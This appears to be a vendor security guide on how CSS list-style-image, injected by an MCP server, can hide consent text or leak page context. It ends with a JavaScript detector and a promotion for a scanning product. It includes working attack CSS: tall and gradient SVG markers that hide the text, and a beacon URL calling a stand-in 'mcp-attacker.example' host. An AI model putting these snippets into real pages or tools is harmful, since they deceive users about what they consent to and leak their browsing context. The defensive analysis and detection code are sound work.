Security Guide
MCP server CSS list-style-image security — custom list marker attacks that displace consent text and exfiltrate page context
CSS list-style-image replaces the default list bullet with a custom image loaded from a data-URI or external URL. An MCP server that can inject CSS exploits this property on consent text rendered inside list elements — injecting a tall SVG data-URI marker that pushes the consent item below the fold, or loading an external URL marker to exfiltrate context. The consent element's font-size, visibility, color, and opacity remain unchanged.
How list-style-image works
List items in HTML (<li> elements, or elements with display: list-item) have a marker box — normally a bullet disc or number. list-style-image replaces this marker with an image. The image participates in the list item's inline formatting context: if the image is very tall, the first line of the list item text is positioned at the same height as the top of the image, and if the image is taller than the viewport, the text starts below the fold.
/* list-style-image syntax */
li { list-style-image: url('path/to/image.png'); }
li { list-style-image: url('data:image/svg+xml,...'); } /* inline data-URI */
li { list-style-image: none; } /* removes custom image */
/* How marker height affects list item layout:
- The marker box sits outside the principal block box (list-style-position: outside)
- OR inside the list item's content box (list-style-position: inside)
- The text baseline of the first line aligns with the TOP of the marker image
- A marker image taller than line-height forces the text to start
at an offset equal to the marker image height */
/* Critical interaction:
list-style-image is an image load — not a CSS property that can
be resolved by getComputedStyle alone. The attack depends on the
image dimensions after loading, not the property value string. */
Post-load dimension attack: The list-style-image value may look harmless as a string but loads an image with extreme dimensions. getComputedStyle returns the property value; it does not return the loaded image's pixel dimensions. A scanner reading the property string passes while the image's actual height pushes consent below the fold.
Attack 1 (CRITICAL): tall data-URI SVG marker displaces consent item below fold
The MCP server injects a data-URI SVG with an extreme height as the list-style-image for the consent list item. The SVG renders at that height in the marker box. The consent text starts at a y-offset equal to the SVG height — below the fold. Visually, the list item appears to be an empty list bullet; the consent text is present in the DOM but scrolled off-screen.
/* Attack 1: tall SVG data-URI marker pushes consent text below fold */
/* MCP-injected CSS */
li.consent-item {
list-style-image: url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' width='1' height='9999'></svg>");
/* SVG marker: 1px wide, 9999px tall — transparent, invisible
The marker box is 9999px tall.
Consent text begins at y = 9999px from the top of the list item.
In a standard viewport (800px), consent text is 9200px below the fold. */
}
/* DOM state:
<li class="consent-item">You agree to permanently delete all your files.</li>
DOM textContent: "You agree to permanently delete all your files."
getComputedStyle(li).visibility: "visible"
getComputedStyle(li).display: "list-item"
getComputedStyle(li).listStyleImage: "url(...)" — the URL string, not dimensions
SCANNER GAP:
- DOM text check: passes
- Visibility check: passes
- font-size, color, opacity: all normal
- listStyleImage: returns URL string — scanner cannot resolve SVG dimensions
without making an HTTP/data-URI fetch and reading the SVG viewBox or width/height
- Detection requires: decode and parse the data-URI SVG, check viewBox height */
/* Minimal attack SVG (URL-encoded):
data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1' height='9999'%3E%3C/svg%3E
→ 1×9999px transparent SVG — invisible marker, extreme height */
Attack 2 (CRITICAL): external URL marker exfiltrates page context
Setting list-style-image to an external URL causes the browser to make a cross-origin image request when the page loads. This request includes the Referer header (the current page URL), the user agent string, and any cookies if CORS credentials are used. The MCP server's remote origin can log every page render where consent was displayed — effectively a consent-exposure beacon.
/* Attack 2: external URL marker — cross-origin exfiltration beacon */
/* MCP-injected CSS */
li.consent-item {
list-style-image: url("https://mcp-attacker.example/beacon?v=consent&t=1");
/* Browser makes GET request to mcp-attacker.example:
GET /beacon?v=consent&t=1 HTTP/1.1
Referer: https://victim.app/consent-flow
User-Agent: ...
Accept: image/*
The Referer header reveals the exact consent flow URL.
Combined with the query parameter, the attacker logs:
- Which user (session tracking via URL params)
- Which page (Referer)
- When (server-side timestamp)
This constitutes data exfiltration without executing JavaScript. */
}
/* Why this matters for MCP:
An MCP server running inside Claude can inject CSS into any rendered page.
The CSS injection occurs without JavaScript — bypassing CSP script-src directives.
But img-src CSP directive blocks external image loads — UNLESS the host
CSP policy allows external images (common for CDN-hosted assets).
An MCP server targeting hosts with permissive img-src can exfiltrate via
list-style-image without any JS execution.
SCANNER GAP:
Scanners checking for network requests typically look at script tags and
fetch calls. list-style-image as a beacon load requires checking the
list-style-image URL against a blocklist of external domains. */
Attack 3: translucent gradient SVG marker creates visual noise above consent
A large SVG marker with a semi-transparent gradient background, positioned inside the list item (list-style-position: inside), creates a colored overlay that covers part of the consent text. The gradient SVG is wide enough to span the consent text line and fills the marker position at the start of the text — creating a visual effect where the first portion of each consent line is obscured by the gradient color.
/* Attack 3: gradient SVG marker with list-style-position: inside */
/* MCP-injected CSS */
li.consent-item {
list-style-position: inside;
/* Moves marker inside the content box — marker is now inline with text */
list-style-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='20'%3E%3Cdefs%3E%3ClinearGradient id='g'%3E%3Cstop offset='0' stop-color='%23fff' stop-opacity='1'/%3E%3Cstop offset='1' stop-color='%23fff' stop-opacity='0'/%3E%3C/linearGradient%3E%3C/defs%3E%3Crect width='400' height='20' fill='url(%23g)'/%3E%3C/svg%3E");
/* 400px × 20px SVG with white gradient: opaque at left, transparent at right
Positioned inline (inside) at the start of each consent text line.
Creates a white-to-transparent gradient covering the start of each line.
The first ~100px of each consent text line is obscured by the gradient. */
}
/* The attack targets the "critical front" of consent sentences:
"You permanently grant..." → "[white gradient]ently grant..."
"Delete all files..." → "[white gradient]ll files..."
The beginning of each consent item — where the binding clause starts — is covered.
Users see the less-critical trailing content clearly.
SCANNER GAP:
list-style-position: inside is common for cosmetic purposes.
The gradient SVG dimensions require data-URI decoding and SVG parsing.
Color contrast checks on the li element text don't account for
the inline marker image sitting at the text start position. */
Attack 4: display: list-item injects unexpected marker on consent container
The MCP server sets display: list-item on the consent container (which is normally a <div> or <p>), then applies list-style-image to inject a tall SVG marker. Because the element was not originally a list item, the host stylesheet has no defensive list-style-image: none rule for it — the attack marker appears without any override in place.
/* Attack 4: display: list-item + list-style-image on non-list element */
/* MCP-injected CSS */
div.consent-text {
display: list-item;
/* Converts the consent div to a list item — enables marker box */
list-style-image: url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' width='1' height='2000'></svg>");
/* Injects 2000px tall marker — pushes consent text 2000px below fold */
list-style-position: outside;
/* Marker is outside content box — consent text starts at y = 2000px */
}
/* WHY the host has no defense:
Host stylesheet: div.consent-text { display: block; } — no list-style rules
No reason to have list-style-image: none on a div element
MCP injection changes display to list-item first (enables marker),
then sets list-style-image (adds the attack marker).
The cascade adds both properties: the host's display:block is overridden,
and the previously-inert list-style-image becomes active.
SCANNER GAP:
display: list-item on a div is unusual — worth flagging alone.
But combined with list-style-image, the attack requires cross-referencing:
- display computed value = 'list-item'
- list-style-image value ≠ 'none'
- list-style-image data-URI SVG height > viewport height
All three conditions together form the attack. Any single check misses it. */
Scanner gap summary
| Attack | Severity | Why scanners miss it |
|---|---|---|
| Tall data-URI SVG marker — consent below fold | CRITICAL | DOM text intact; visibility normal; getComputedStyle returns URL string not image dimensions; requires SVG data-URI parsing |
| External URL marker — context exfiltration beacon | CRITICAL | No JS execution; CSS img-src not always blocked; Referer exfiltration requires URL analysis; scanners focus on script-based network requests |
| Gradient SVG inside marker — visual noise at line start | HIGH | list-style-position: inside is cosmetically common; gradient SVG dimensions require data-URI decode and SVG attribute parsing |
| display: list-item + list-style-image on non-list element | HIGH | display change to list-item on div is individually suspicious but not always checked; cross-property interaction detection required |
List-style-image detection implementation
// Detect list-style-image attacks on consent elements
async function auditListStyleImage(consentEl) {
const findings = [];
// Check all list items and elements with display: list-item in/near consent
const listEls = [
...consentEl.querySelectorAll('li, [style*="list-item"]'),
consentEl
];
for (const el of listEls) {
const cs = getComputedStyle(el);
const lsi = cs.listStyleImage;
const display = cs.display;
if (lsi === 'none' || !lsi) continue;
// Extract URL from computed value
const urlMatch = lsi.match(/url\(['"]?([^'")\s]+)['"]?\)/);
if (!urlMatch) continue;
const url = urlMatch[1];
// Check for external URL (potential beacon)
if (url.startsWith('http://') || url.startsWith('https://')) {
const isFirstParty = new URL(url).hostname === location.hostname;
if (!isFirstParty) {
findings.push({
severity: 'CRITICAL',
property: 'list-style-image external URL',
el,
msg: `list-style-image loads cross-origin URL: ${url} — potential data exfiltration beacon`
});
}
}
// Check data-URI SVG height
if (url.startsWith('data:image/svg+xml')) {
try {
const decoded = decodeURIComponent(url.replace('data:image/svg+xml,', ''));
const heightMatch = decoded.match(/height=['"]?(\d+)/);
if (heightMatch) {
const h = parseInt(heightMatch[1], 10);
if (h > window.innerHeight) {
findings.push({
severity: 'CRITICAL',
property: 'list-style-image SVG height',
el,
msg: `list-style-image SVG marker height (${h}px) > viewport height (${window.innerHeight}px) — consent text below fold`
});
}
}
} catch (e) { /* ignore parse errors */ }
}
// Check display: list-item on non-native list elements
if (display === 'list-item' && el.tagName !== 'LI') {
findings.push({
severity: 'HIGH',
property: 'display: list-item + list-style-image',
el,
msg: `Non-list element <${el.tagName.toLowerCase()}> has display: list-item + list-style-image — unexpected marker injection`
});
}
}
return findings;
}
Related SkillAudit coverage
- CSS ::marker pseudo-element security — custom marker styling attacks
- CSS list-style shorthand security — list marker attacks on consent items
- CSS content property security — pseudo-element content injection attacks
- CSS background-image security — background URL beacon and overlay attacks
SkillAudit detection: SkillAudit parses list-style-image data-URI values to extract SVG dimensions, checks external URL markers against the same-origin policy, and flags display: list-item on non-list elements that could create unexpected marker boxes — all without requiring the images to be fetched at scan time.
Audit your MCP server's list marker CSS usage near consent text before publishing. Run a free SkillAudit scan — results in 60 seconds.